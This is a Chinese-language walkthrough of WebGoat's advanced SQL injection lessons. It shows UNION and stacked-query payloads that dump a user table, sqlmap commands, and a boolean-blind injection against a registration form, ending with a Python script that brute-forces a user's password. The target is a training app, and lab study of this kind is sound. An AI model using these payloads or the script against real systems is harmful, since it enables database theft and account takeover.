---
disqus: jpower
---
# OWASP TOP10 Injection(SQL Injection advanced)
## 3 Try It! Pulling data from other tables

Q:
取得資料表中的所有資料並取得Dave的密碼
ANS:
方法一、
```
在Name輸入
'OR'1'='1'; SELECT * FROM user_system_data;--
```
可以取得user_system_data的內容,包含Dave密碼

方法二、
```
在Name輸入
' UNION SELECT 1,user_name,password,cookie,'A','A',4 FROM user_system_data;--
```

說明:
```
SQL語法中的1、'A'、'A'、4 都是用來湊數用的,因為UNION合併指令要求欄位數相同,因此使用相同欄位屬性的值(int、varchar)來湊數
```
## 5 boolean-based blind
Q:
登入Tom的帳號
A:
1. 首先可以使用brupsuite觀察Login與Register送出的參數有哪些,將burpsuite看到的request結果另存成request_login.txt、request_register.txt,並利用SQLMAP工具進行探測。
Login

```
sqlmap -r request_login.txt
```
Regster

```
sqlmap -r request_register.txt
```
2. 使用SQLMAP測試過後,會發現在Register的部分,username_reg存在boolean-based blind,有機會可以執行SQL Injection。另外也發現資料庫是使用HSQLDB版本1.7.2。

3. 接著試著列出所有DB名稱。
```
sqlmap -r request_register.txt --dbs --no-cast
```

4. 檢視目前是使用哪一個DB,發現是使用PUBLIC。
```
sqlmap -r request_register.txt --dbs --no-cast --current-db
```

5. 利用sqlmap嘗試針對PUBLIC列出它包含的TABLE,可惜無法得到結果。
```
sqlmap -r request_register.txt --dbs --tables -D PUBLIC --technique B --no-cast --threads 10
```
6. 接下來嘗試用手動方式進行測試,由於已經知道username_reg存在==boolean-based blind==,以下針對這個欄位接著測試。測試成立一個帳號aaa,新成立的帳號成功建立的條件下,下方結果會顯示==User aaa created, please procees to the login page.==

7. 同一個帳號aaa再一次註冊,會發現若是已經存在的帳號,下方的結果會顯示另一個 ==User aaa already exists please try to register with a different username.==

8. 接下來測試重複註冊我們要登入的帳號Tom,結果顯示 ==User Tom created, please procees to the login page.== 發現可以被新增,因此Tom不是原本既有的帳號。

9. 另外再測試小寫的帳號tom,結果顯示 ==User tom already exists please try to register with a different username.== 可以發現我們的目標帳號應該是小寫tom才對。

10. 接著測試當結果為==真==的時候會顯示的內容,會顯示already exists的回覆。
==User {0} already exists please try to register with a different username.==
```
tom' AND '1'='1
```

11. 接著測試當結果為==假==的時候會顯示的內容,會顯示created的回覆。
==User tom' AND '1'='2 created, please procees to the login page.==
```
tom' AND '1'='2
```

12. 最後再測試語法錯誤會有什麼回覆,故意打錯成ANDD,會顯示Sorry的回覆。
```
tom' ANDD '1'='2
```

13. 整理如下表所示
| 真 | 假 | 語法錯誤 |
| -------- | -------- | -------- |
| already exists | created | Sorry |
14. 由於剛剛用brupsuite可以看到送出去的密碼請求是password_reg,因此我們猜測密碼的欄位有可能是password、pwd之類的。要測試欄位名稱是否正確的話可以利用==length()>0==語法。首先測試password,得到的結果是already exists。
```
tom' AND length(password)>0--
```

15. 另外驗證一下,測試pwd,得到的結果是Sorry。==代表密碼的欄位名稱是password沒錯且密碼長度>0==。
```
tom' AND length(pwd)>0--
```

16. 下一步依序測試密碼長度實際的大小,從50開始試發現密碼長度小於50,最後會發現密碼長度是23。
```
tom' AND length(pwd)>50--
得到created代表結果為假
```

```
tom' AND length(pwd)=23--
得到already exists代表結果為真
```

17. 在知道密碼長度是23之後,可以利用==substring()== 語法來猜密碼。
```
substring(str,pos,len)
以上語法的意思是,由<str>中的第<pos>位置開始,選出接下去的<len>個字元
```
18. 舉例來說我們猜測密碼第一個是否為a,得到的結果是假。

19. 接著測試到是否為t的時候,發現得到的結果是真。

20. 知道邏輯之後利用python寫一隻小程式試著暴力列舉,程式碼如下:
```
import requests
url = 'http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge'
headersdata = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36','Cookie':'JSESSIONID=VEWJgGwvd8q4QSY9kxRB1Og72WsKxz2RMgznMFYH'}
pwdlist=[chr(i) for i in range(32,127)] #ASCII可顯示字元範圍從32-127
print(pwdlist)
ans = ''
for i in range(1,24):
for p in pwdlist:
payload = "tom' AND substring(password,"+str(i)+",1)='"+p+"'--"
formdata = {
'username_reg':payload,
'email_reg':'t@t',
'password_reg':'123',
'confirm_password':'123'
}
respones = requests.put(url, data=formdata, headers=headersdata)
if 'already' in str(respones.text):
ans = ans + p
print(ans)
```
21. 最終得到結果如下,使用者Tom的密碼為==thisisasecretfortomonly==

###### tags: `webgoat`,`Injection`